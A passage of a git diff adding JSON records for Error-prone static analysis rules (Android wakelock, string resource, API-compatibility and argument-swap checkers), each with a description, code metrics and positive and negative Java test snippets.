Log.isLoggable(TAG, Log.INFO);\n }\n }" + }, + { + "description": "positiveCaseFinalFieldClassName", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "import android.util.Log;\n\n class ThisClassNameIsWayTooLong {\n static final String TAG = ThisClassNameIsWayTooLong.class.getSimpleName();\n\n public void log() {\n // BUG: Diagnostic contains: IsLoggableTagLength\n Log.isLoggable(TAG, Log.INFO);\n }\n }" + }, + { + "description": "negativeCaseNonFinalFieldUninitialized", + "expected-problems": null, + "expected-linenumbers": [ + 231 + ], + "code": "import android.util.Log;\n\n class Test {\n String unknownValue;\n\n public void log() {\n Log.isLoggable(unknownValue, Log.INFO);\n }\n }" + }, + { + "description": "negativeCaseNonFinalFieldClassNameTooLong", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "import android.util.Log;\n\n class ThisClassNameIsWayTooLong {\n String TAG = ThisClassNameIsWayTooLong.class.getSimpleName();\n\n public void log() {\n Log.isLoggable(TAG, Log.INFO);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/MislabeledAndroidString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/MislabeledAndroidString.json new file mode 100644 index 0000000..bcc714f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/MislabeledAndroidString.json @@ -0,0 +1,54 @@ +{ + "name": "MislabeledAndroidString", + "language": "java", + "description": "Certain resources in `android.R.string` have names that do not match their content", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "matchFullyQualified", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.android;\n\n public class MatchFullyQualifiedTest {\n public int getStringId() {\n // BUG: Diagnostic contains: android.R.string.ok\n // android.R.string.yes is not \"Yes\" but \"OK\"; prefer android.R.string.ok\n return android.R.string.yes;\n }\n }" + }, + { + "description": "matchWithImport", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "package com.google.errorprone.bugpatterns.android;\n\n import android.R;\n\n public class MatchWithImportTest {\n public int getStringId() {\n // BUG: Diagnostic contains: R.string.cancel\n // android.R.string.no is not \"No\" but \"Cancel\";\n // prefer android.R.string.cancel\n return R.string.no;\n }\n }" + }, + { + "description": "useInField", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package com.google.errorprone.bugpatterns.android;\n\n public class MatchUseInFieldTest {\n // BUG: Diagnostic contains: android.R.string.ok\n // android.R.string.yes is not \"Yes\" but \"OK\"; prefer android.R.string.ok\n private static final int SAY_YES = android.R.string.yes;\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "package com.google.errorprone.bugpatterns.android;\n\n import android.R;\n\n public class FineStringTest {\n public int getStringId() {\n return R.string.copy;\n }\n }" + }, + { + "description": "assumedMeanings", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/ParcelableCreator.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/ParcelableCreator.json new file mode 100644 index 0000000..822d379 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/ParcelableCreator.json @@ -0,0 +1,30 @@ +{ + "name": "ParcelableCreator", + "language": "java", + "description": "Detects classes which implement Parcelable but don't have CREATOR", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/RectIntersectReturnValueIgnored.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/RectIntersectReturnValueIgnored.json new file mode 100644 index 0000000..c880ae5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/RectIntersectReturnValueIgnored.json @@ -0,0 +1,30 @@ +{ + "name": "RectIntersectReturnValueIgnored", + "language": "java", + "description": "Return value of android.graphics.Rect.intersect() must be checked", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\nimport android.graphics.Rect;\n\n/**\n * @author avenet@google.com (Arnaud J. Venet)\n */\npublic class RectIntersectReturnValueIgnoredPositiveCases {\n void checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) {\n // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked\n rect.intersect(aLeft, aTop, aRight, aBottom);\n }\n\n void checkOverload(Rect rect1, Rect rect2) {\n // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked\n rect1.intersect(rect2);\n }\n\n class RectContainer {\n int xPos;\n int yPos;\n Rect rect;\n\n boolean intersect(int length, int width) {\n // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked\n rect.intersect(xPos, yPos, xPos + length, yPos + width);\n return true;\n }\n }\n\n void checkInMethod(int length, int width) {\n RectContainer container = new RectContainer();\n container.intersect(length, width);\n }\n\n void checkInField(RectContainer container) {\n // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked\n container.rect.intersect(\n container.xPos, container.yPos, container.xPos + 10, container.yPos + 20);\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "package com.google.errorprone.bugpatterns.android.testdata;\n\n import android.graphics.Rect;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class RectIntersectReturnValueIgnoredNegativeCases {\n boolean checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) {\n return rect.intersect(aLeft, aTop, aRight, aBottom);\n }\n\n boolean checkOverload(Rect rect1, Rect rect2) {\n return rect1.intersect(rect2);\n }\n\n void checkInTest(Rect rect, int aLeft, int aTop, int aRight, int aBottom) {\n if (!rect.intersect(aLeft, aTop, aRight, aBottom)) {\n rect.setEmpty();\n }\n }\n\n class InternalScope {\n class Rect {\n int left;\n int right;\n int top;\n int bottom;\n\n boolean intersect(int aLeft, int aTop, int aRight, int aBottom) {\n throw new RuntimeException(\"Not implemented\");\n }\n }\n\n void checkHomonym(Rect rect, int aLeft, int aTop, int aRight, int aBottom) {\n rect.intersect(aLeft, aTop, aRight, aBottom);\n }\n }\n\n class RectContainer {\n int xPos;\n int yPos;\n Rect rect;\n\n boolean intersect(int length, int width) {\n return rect.intersect(xPos, yPos, xPos + length, yPos + width);\n }\n }\n\n void checkInMethod(int length, int width) {\n RectContainer container = new RectContainer();\n container.intersect(length, width);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/StaticOrDefaultInterfaceMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/StaticOrDefaultInterfaceMethod.json new file mode 100644 index 0000000..4790fc2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/StaticOrDefaultInterfaceMethod.json @@ -0,0 +1,46 @@ +{ + "name": "StaticOrDefaultInterfaceMethod", + "language": "java", + "description": "Static and default interface methods are not natively supported on older Android devices. ", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCaseDefault", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: StaticOrDefaultInterfaceMethod\n default void test() {\n System.out.println();\n }\n }" + }, + { + "description": "positiveCaseStatic", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: StaticOrDefaultInterfaceMethod\n static void test() {\n System.out.println();\n }\n }" + }, + { + "description": "negativeCaseNoBody", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "interface Test {\n void test();\n }" + }, + { + "description": "negativeCaseClass", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "class Test {\n static void test() {\n System.out.println();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/WakelockReleasedDangerously.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/WakelockReleasedDangerously.json new file mode 100644 index 0000000..9558282 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/android/WakelockReleasedDangerously.json @@ -0,0 +1,158 @@ +{ + "name": "WakelockReleasedDangerously", + "language": "java", + "description": "On Android versions < P, a wakelock acquired with a timeout may be released by the system before calling `release`, even after checking `isHeld()`. If so, it will throw a RuntimeException. Please wrap in a try/catch block.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 182, + "branches": 21, + "apis": 3, + "test": [ + { + "description": "dangerousWakelockRelease_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n if (wakelock.isHeld()) {\n doSomethingElse();\n wakelock.release();\n\n // Make sure comments are preserved\n }\n }\n\n void doSomethingElse() {}\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n doSomethingElse();\n try {\n wakelock.release();\n } catch (RuntimeException unused) {\n // Ignore: wakelock already released by timeout.\n // TODO: Log this exception.\n }\n\n // Make sure comments are preserved\n }\n\n void doSomethingElse() {}\n }" + }, + { + "description": "doesNotRemoveIsHeldOnDifferentSymbol", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wl1, WakeLock wl2) {\n wl1.acquire(100);\n if (wl2.isHeld()) {\n wl1.release();\n }\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wl1, WakeLock wl2) {\n wl1.acquire(100);\n if (wl2.isHeld()) {\n try {\n wl1.release();\n } catch (RuntimeException unused) {\n // Ignore: wakelock already released by timeout.\n // TODO: Log this exception.\n }\n }\n }\n }" + }, + { + "description": "dangerousWakelockRelease_lambda_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n doThing(() -> wakelock.release());\n }\n\n void doThing(Runnable thing) {}\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n doThing(\n () -> {\n try {\n wakelock.release();\n } catch (RuntimeException unused) {\n // Ignore: wakelock already released by timeout.\n // TODO: Log this exception.\n }\n });\n }\n\n void doThing(Runnable thing) {}\n }" + }, + { + "description": "acquiredWithoutTimeout_shouldBeOkay", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class WithoutTimeout {\n void foo(WakeLock wakelock) {\n wakelock.acquire();\n wakelock.release();\n }\n }" + }, + { + "description": "catchesRuntimeException_shouldBeOkay", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n wakelock.release();\n } catch (RuntimeException e) {\n }\n }\n }" + }, + { + "description": "noCatch_shouldWarn", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "" + }, + { + "description": "catchesSuperclassOfRuntimeException_shouldBeOkay", + "expected-problems": null, + "expected-linenumbers": [ + 272 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n wakelock.release();\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "catchesSubclassOfRuntimeException_shouldWarn", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n } catch (MyRuntimeException e) {\n }\n }\n }" + }, + { + "description": "catchesOtherException_shouldWarn", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n throw new MyOtherException();\n } catch (MyOtherException e) {\n }\n }\n }" + }, + { + "description": "nestedCatch_shouldWarn", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n try {\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n throw new MyOtherException();\n } catch (MyOtherException e) {\n }\n } catch (RuntimeException err) {\n }\n }\n }" + }, + { + "description": "catchesUnion_withRuntimeException_shouldBeOkay", + "expected-problems": null, + "expected-linenumbers": [ + 371 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n wakelock.release();\n throw new MyOtherException();\n } catch (RuntimeException | MyOtherException e) {\n }\n }\n }" + }, + { + "description": "catchesUnion_withLeastUpperBoundException_shouldWarn", + "expected-problems": null, + "expected-linenumbers": [ + 395 + ], + "code": "import android.os.PowerManager.WakeLock;\n import java.io.IOException;\n\n public class TestApp {\n void foo(WakeLock wakelock) {\n wakelock.acquire(100);\n try {\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n throw new IOException();\n } catch (IOException | NullPointerException e) {\n // union with a 'least upper bound' of Exception, won't catch RuntimeException.\n }\n }\n }" + }, + { + "description": "acquiredElsewhere_shouldBeRecognized", + "expected-problems": null, + "expected-linenumbers": [ + 420 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class WithTimeout {\n WakeLock wakelock;\n\n WithTimeout(WakeLock wl) {\n this.wakelock = wl;\n this.wakelock.acquire(100);\n }\n\n void foo() {\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class WithoutTimeout {\n WakeLock wakelock;\n\n WithoutTimeout(WakeLock wl) {\n this.wakelock = wl;\n this.wakelock.acquire();\n }\n\n void foo() {\n wakelock.release();\n }\n }" + }, + { + "description": "differentWakelock_shouldNotBeRecognized", + "expected-problems": null, + "expected-linenumbers": [ + 463 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class WithTimeout {\n void bar(WakeLock wakelock) {\n wakelock.acquire(100);\n }\n\n void foo(WakeLock wakelock) {\n wakelock.release();\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class WithoutTimeout {\n void bar(WakeLock wakelock) {\n wakelock.acquire();\n }\n\n void foo(WakeLock wakelock) {\n wakelock.release();\n }\n }" + }, + { + "description": "wakelockFromMethod", + "expected-problems": null, + "expected-linenumbers": [ + 499 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class WithTimeout {\n WakeLock wakelock;\n\n WakeLock getWakelock() {\n return wakelock;\n }\n\n void bar() {\n getWakelock().acquire(100);\n }\n\n void foo() {\n // BUG: Diagnostic contains: Wakelock\n getWakelock().release();\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class WithoutTimeout {\n WakeLock wakelock;\n\n WakeLock getWakelock() {\n return wakelock;\n }\n\n void bar(WakeLock wakelock) {\n getWakelock().acquire();\n }\n\n void foo(WakeLock wakelock) {\n getWakelock().release();\n }\n }" + }, + { + "description": "wakelockNotReferenceCounted_shouldBeOkay", + "expected-problems": null, + "expected-linenumbers": [ + 548 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class NotReferenceCountedTimeout {\n void foo(WakeLock wakelock) {\n wakelock.setReferenceCounted(false);\n wakelock.acquire(100);\n wakelock.release();\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class ExplicitlyReferenceCountedTimeout {\n void foo(WakeLock wakelock) {\n wakelock.setReferenceCounted(true);\n wakelock.acquire(100);\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class NotReferenceCountedNoTimeout {\n void foo(WakeLock wakelock) {\n wakelock.setReferenceCounted(false);\n wakelock.acquire();\n wakelock.release();\n }\n }\n \n\n import android.os.PowerManager.WakeLock;\n\n public class ExplicitlyReferenceCountedNoTimeout {\n void foo(WakeLock wakelock) {\n wakelock.setReferenceCounted(true);\n wakelock.acquire();\n wakelock.release();\n }\n }" + }, + { + "description": "innerClass_negative", + "expected-problems": null, + "expected-linenumbers": [ + 607 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class OuterClass {\n WakeLock wakelock;\n\n OuterClass(WakeLock wl) {\n this.wakelock = wl;\n this.wakelock.setReferenceCounted(false);\n }\n\n public class InnerClass {\n void foo() {\n wakelock.acquire(100);\n wakelock.release();\n }\n }\n }" + }, + { + "description": "innerClass_positive", + "expected-problems": null, + "expected-linenumbers": [ + 634 + ], + "code": "import android.os.PowerManager.WakeLock;\n\n public class OuterClass {\n WakeLock wakelock;\n\n OuterClass(WakeLock wl) {\n wakelock = wl;\n wakelock.acquire(100);\n }\n\n public class InnerClass {\n void foo() {\n // BUG: Diagnostic contains: Wakelock\n wakelock.release();\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/AndroidJdkLibsChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/AndroidJdkLibsChecker.json new file mode 100644 index 0000000..cb9fd62 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/AndroidJdkLibsChecker.json @@ -0,0 +1,134 @@ +{ + "name": "AndroidJdkLibsChecker", + "language": "java", + "description": "Use of class, field, or method that is not compatible with legacy Android devices", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 5, + "apis": 5, + "test": [ + { + "description": "repeatedAnnotationAllowed", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.lang.annotation.Repeatable;\n\n @Repeatable(Test.Container.class)\n public @interface Test {\n public @interface Container {\n Test[] value();\n }\n }" + }, + { + "description": "typeAnnotationAllowed", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.lang.annotation.Target;\n import java.lang.annotation.ElementType;\n\n @Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})\n public @interface Test {}" + }, + { + "description": "defaultMethod", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import java.util.Map;\n\n public class Test {\n abstract static class A implements Map {}\n\n abstract static class B implements Map {\n @Override\n public Object getOrDefault(Object key, Object defaultValue) {\n return null;\n }\n }\n\n void f(A a, B b) {\n a.getOrDefault(null, null);\n b.getOrDefault(null, null); // OK: overrides getOrDefault\n }\n }" + }, + { + "description": "typeKind", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n javax.lang.model.type.TypeKind tk;\n }" + }, + { + "description": "stopwatchElapsed", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import com.google.common.base.Stopwatch;\n import java.util.concurrent.TimeUnit;\n\n public class Test {\n void o() {\n Stopwatch.createStarted().elapsed();\n Stopwatch.createStarted().elapsed(TimeUnit.MILLISECONDS);\n }\n }" + }, + { + "description": "allowJava8Flag_packageAllowed", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "import java.time.Duration;\n import java.util.stream.Stream;\n import com.google.common.base.Predicates;\n import java.util.Arrays;\n\n public class Test {\n Duration d = Duration.ofSeconds(10);\n\n public static void test(Stream s) {\n s.forEach(i -> {});\n }\n }" + }, + { + "description": "allowJava8Flag_memberAllowed", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "import java.util.Arrays;\n\n public class Test {\n public static void main(String... args) {\n Arrays.stream(args);\n }\n }" + }, + { + "description": "allowJava8Flag_getTimeZone", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "import java.time.ZoneId;\n import java.util.TimeZone;\n\n public class Test {\n public static void test() {\n TimeZone.getTimeZone(\"a\");\n TimeZone.getTimeZone(ZoneId.of(\"a\"));\n }\n }" + }, + { + "description": "allowJava8Flag_explicitNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "import java.util.Spliterator;\n\n public abstract class Test implements Spliterator.OfInt {}" + }, + { + "description": "forEach", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "import java.util.Collection;\n\n class T {\n void f(Iterable i, Collection c) {\n i.forEach(System.err::println);\n c.forEach(System.err::println);\n }\n }" + }, + { + "description": "moduleInfo", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "module testmodule {\n requires java.base;\n }" + }, + { + "description": "methodHandle", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "import java.lang.invoke.MethodHandles;\n\n public class Test {\n void f() {\n Object o = MethodHandles.lookup();\n }\n }" + }, + { + "description": "newAndroidApi", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "package android.service.quicksettings;\n\n public class Tile {}\n \n\n import static java.util.Objects.requireNonNull;\n\n public class Test {\n void f() {\n requireNonNull(android.service.quicksettings.Tile.class);\n }\n }" + }, + { + "description": "parallelStream", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "import java.util.Collection;\n import java.util.stream.Stream;\n\n public class Test {\n Stream f(Collection xs) {\n // BUG: Diagnostic contains:\n return xs.parallelStream().map(x -> x);\n }\n }" + }, + { + "description": "base64", + "expected-problems": null, + "expected-linenumbers": [ + 290 + ], + "code": "import java.util.Base64;\n\n public class Test {\n String f(byte[] code) {\n return Base64.getUrlEncoder().encodeToString(code);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/Java8ApiChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/Java8ApiChecker.json new file mode 100644 index 0000000..02bc470 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/apidiff/Java8ApiChecker.json @@ -0,0 +1,54 @@ +{ + "name": "Java8ApiChecker", + "language": "java", + "description": "Use of class, field, or method that is not compatible with JDK 8", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 4, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Optional;\n\n class Test {\n boolean f(Optional o) {\n // BUG: Diagnostic contains: java.util.Optional#isEmpty() is not available\n return o.isEmpty();\n }\n }" + }, + { + "description": "bufferPositive", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.nio.ByteBuffer;\n\n class Test {\n void f(ByteBuffer b, int i) {\n // BUG: Diagnostic contains: ByteBuffer#position(int) is not available\n b.position(i);\n }\n }" + }, + { + "description": "bufferNegative", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import java.nio.ByteBuffer;\n\n class Test {\n void f(ByteBuffer b, int i) {\n b.position(i);\n }\n }" + }, + { + "description": "checksumPositive", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import java.util.zip.CRC32;\n\n class Test {\n void f(CRC32 c, byte[] b) {\n // BUG: Diagnostic contains: Checksum#update(byte[]) is not available\n c.update(b);\n }\n }" + }, + { + "description": "checksumNegative", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import java.util.zip.CRC32;\n\n class Test {\n void f(CRC32 c, byte[] b) {\n c.update(b);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/ArgumentSelectionDefectChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/ArgumentSelectionDefectChecker.json new file mode 100644 index 0000000..b21fe1b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/argumentselectiondefects/ArgumentSelectionDefectChecker.json @@ -0,0 +1,134 @@ +{ + "name": "ArgumentSelectionDefectChecker", + "language": "java", + "description": "Arguments are in the wrong order or could be commented for clarity.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 120, + "branches": 9, + "apis": 9, + "test": [ + { + "description": "argumentSelectionDefectChecker_findsSwap_withSwappedMatchingPair", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object first, Object second) {\n // BUG: Diagnostic contains: target(first, second)\n // target(/* first= */second, /* second= */first)\n target(second, first);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_findsSwap_withSwappedMatchingPairWithMethod", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n abstract Object getSecond();\n\n void test(Object first) {\n // BUG: Diagnostic contains: target(first, getSecond())\n // target(/* first= */getSecond(), /* second= */first)\n target(getSecond(), first);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_findsSwap_withOneNullArgument", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object second) {\n // BUG: Diagnostic contains: target(null, second)\n // target(/* first= */second, /* second= */null)\n target(second, null);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_rejectsSwap_withNoAssignableAlternatives", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "abstract class Test {\n abstract void target(String first, Integer second);\n\n void test(Integer first, String second) {\n target(second, first);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_commentsOnlyOnSwappedPair_withThreeArguments", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second, Object third);\n\n void test(Object first, Object second, Object third) {\n // BUG: Diagnostic contains: target(first, second, third)\n // target(/* first= */second, /* second= */first, third)\n target(second, first, third);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_rejectsSwap_withIgnoredFormalParameter", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "abstract class Test {\n abstract void target(Object ignore, Object second);\n\n void test(Object ignore, Object second) {\n target(second, ignore);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_makesSwap_withNullArgument", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object second) {\n target(second, null);\n }\n }" + }, + { + "description": "argumentSelectionDefectChecker_rejectsSwap_withArgumentWithoutName", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object second) {\n target(second, 1);\n }\n }" + }, + { + "description": "argumentSelectionDefectCheckerWithPenalty_findsSwap_withSwappedMatchingPair", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object first, Object second) {\n // BUG: Diagnostic contains: target(first, second)\n // target(/* first= */second, /* second= */first)\n target(second, first);\n }\n }" + }, + { + "description": "argumentSelectionDefectCheckerWithPenalty_makesNoChange_withAlmostMatchingSet", + "expected-problems": null, + "expected-linenumbers": [ + 270 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second, Object third, Object fourth);\n\n void test(Object first, Object second, Object third, Object different) {\n target(different, third, second, first);\n }\n }" + }, + { + "description": "argumentSelectionDefectCheckerWithPenalty_noSwap_withNamedPair", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object first, Object second) {\n target(/* first= */ second, /* second= */ first);\n }\n }" + }, + { + "description": "parameterNamesAvailable_returnsTree_onMethodNotInCompilationUnit", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "" + }, + { + "description": "description", + "expected-problems": null, + "expected-linenumbers": [ + 367 + ], + "code": "abstract class Test {\n abstract void target(Object first, Object second);\n\n void test(Object first, Object second) {\n // BUG: Diagnostic contains: The following arguments may have been swapped: 'second' for formal\n // parameter 'first', 'first' for formal parameter 'second'. Either add clarifying `/*\n // paramName= */` comments, or swap the arguments if that is what was intended\n target(second, first);\n }\n}" + }, + { + "description": "records", + "expected-problems": null, + "expected-linenumbers": [ + 387 + ], + "code": "class Test {\n Foo test(String first, String second) {\n // BUG: Diagnostic contains: may have been swapped\n return new Foo(second, first);\n }\n}\n\nrecord Foo(String first, String second) {}" + }, + { + "description": "recordPattern", + "expected-problems": null, + "expected-linenumbers": [ + 407 + ], + "code": "import %s;\n class Test {\n String test(Object o) {\n return switch (o) {\n case Foo(String first, String second) -> 